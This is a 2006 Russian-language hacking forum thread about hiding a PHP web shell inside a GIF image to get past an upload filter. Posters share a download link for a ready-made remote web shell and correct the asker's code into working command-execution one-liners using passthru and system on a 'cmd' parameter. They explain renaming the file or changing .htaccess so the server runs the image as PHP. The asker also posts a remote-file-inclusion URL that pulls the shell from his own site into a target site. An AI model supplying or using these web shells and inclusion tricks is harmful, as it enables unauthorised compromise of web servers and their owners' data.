как внедрить shell код в картнку
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя  |
| Сообщение |
<< Старые топики Новые топики >> |
|
|
как внедрить shell код в картнку - 2006-04-05 23:49:25
|
|
|
Folk_91
Сообщений: 52
Оценки: 0
Присоединился: 2005-05-28 21:57:03
|
Допустим у меня есть php -shell как мне внедрить его в картинку с форматом gif
имхо =) есть банальная мысль : просто в писать php код в картинку
* если к то знает где можно скачать NR-shell
дайте линк
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-06 10:25:04
|
|
|
Pupkin-Zade
Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
|
Ну а как он выполняться то будет?
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-06 10:57:03
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Pupkin-Zade прав. Apache тоже надо в картинку.
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-06 19:33:13
|
|
|
Сhaos_Сode
Сообщений: 1049
Оценки: 0
Присоединился: 2006-01-12 11:54:12
|
[p]quote:
—————-<BR>Цитата: Дата:05.04.2006 23:49:25, Автор: Folk_91 ::
Допустим у меня есть php -shell как мне внедрить его в картинку с форматом gif<BR><BR>имхо =) есть банальная мысль : просто в писать php код в картинку <BR><BR><BR><BR>* если к то знает где можно скачать NR-shell <BR><BR>дайте линк <BR><BR>
—————-
была статья в прошлогодовом мартовском номере. Но нужна возможность изменить расширение на .php, иначе ниче не выйдет
nr.php - он же nix remote web shell - какая то версия у меня есть, давай мыло, получить шелл)
да чел, кто писал шелл, вроде из Ru24 Team, www.ru24-team.net. У меня чет не хочет грузится, наверно есть там
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-06 20:17:43
|
|
|
Сhaos_Сode
Сообщений: 1049
Оценки: 0
Присоединился: 2006-01-12 11:54:12
|
Folk_91, у меня не открывается твое сообщение в личке, видимо глюк форума, вот шелл:
http://mcoderz.jino-net.ru/nr.txt
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-07 13:42:35
|
|
|
Folk_91
Сообщений: 52
Оценки: 0
Присоединился: 2005-05-28 21:57:03
|
* Спасибо за nr-shell
как я понял нужно вписать в каринку код простенького shell'a:
<?
passthru $cmd
?>
после этим картинку img.gif нужно перевести в формат img.gif.php
Так ?
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-07 13:46:12
|
|
|
Folk_91
Сообщений: 52
Оценки: 0
Присоединился: 2005-05-28 21:57:03
|
выполнятся он будет так
http://[sait]/index.php?page=http://[my sait]/img.gif.php&cmd=id
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-07 21:26:34
|
|
|
Dun
Сообщений: 26
Оценки: 0
Присоединился: 2006-04-07 14:19:55
|
Не пойму мысли =) а не проще тогда залить полноценный пхп шел?
Можно конечно сделать пхп шелл с расшырением .гиф но тогда в .хтаксесс надо менять привязку расшырения … тоесть что-бы гиф файлы обрабатывались как пхп… (но у тебя должен быть для этого доступ к изменению содержимого .хтаксесс).
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-08 11:51:32
|
|
|
Pupkin-Zade
Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
|
quote:
—————-<BR>Цитата: Дата:07.04.2006 13:46:12, Автор:Folk_91 ::
выполнятся он будет так<BR>http://[sait]/index.php?page=http://[my sait]/img.gif.php&amp;amp;cmd=id<BR><BR>
—————-
А нахрена тут картинка то???? Бред какой-то
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-08 14:19:23
|
|
|
XMblPb
Сообщений: 245
Оценки: 0
Присоединился: 2005-01-11 19:39:40
|
однозначно бред! если хостинг твоего сайта поддерживает пшп, то будешь лазить по своему хостеру. если не поддерживает, то код будет выполняться если есть инклуд на взламываемом сайте, но это другая ситуация, чел говорит о внедрении кода в картинку. тут все проще, вбиваешь в конец картинки пшпкод, заливаешь на серв, меняешь расширение.
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-08 23:25:57
|
|
|
Folk_91
Сообщений: 52
Оценки: 0
Присоединился: 2005-05-28 21:57:03
|
ДЫК закачка разрешена только рисункам *gif
А вообще я с этой проблемой уже разобрался
*
прваильный ли синтаксис
в моём примитивном shell'е чё то он у меня не работает
<?
passthru $cmd
?>
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-09 13:06:06
|
|
|
Pupkin-Zade
Сообщений: 9398
Оценки: 1489
Присоединился: 2004-03-10 13:54:16
|
А где тут закачка?
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-09 19:22:32
|
|
|
Сhaos_Сode
Сообщений: 1049
Оценки: 0
Присоединился: 2006-01-12 11:54:12
|
quote:
—————-<BR>Цитата: Дата:09.04.2006 13:06:06, Автор:Pupkin-Zade ::
А где тут закачка?
—————-
А причем здесь закачка?
Правильно
<?
passthru($_GET['cmd']);
?>
или:
<?
system($_GET['cmd']);
?>
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-09 20:41:02
|
|
|
Dun
Сообщений: 26
Оценки: 0
Присоединился: 2006-04-07 14:19:55
|
Если этот скрипт не пашет, значит на сервере в пхп выключен passthru()или system() … (ну или что ты используешь)
|
|
|
|
|
как внедрить shell код в картнку - 2006-04-12 15:11:43
|
|
|
Folk_91
Сообщений: 52
Оценки: 0
Присоединился: 2005-05-28 21:57:03
|
вообщем
если не трудно
закинте мне на мыло : doyoudo@rambler.ru
картинку с простиньким встроином Shell'ом
Зарание спасибо
|
|
|
|
|
|
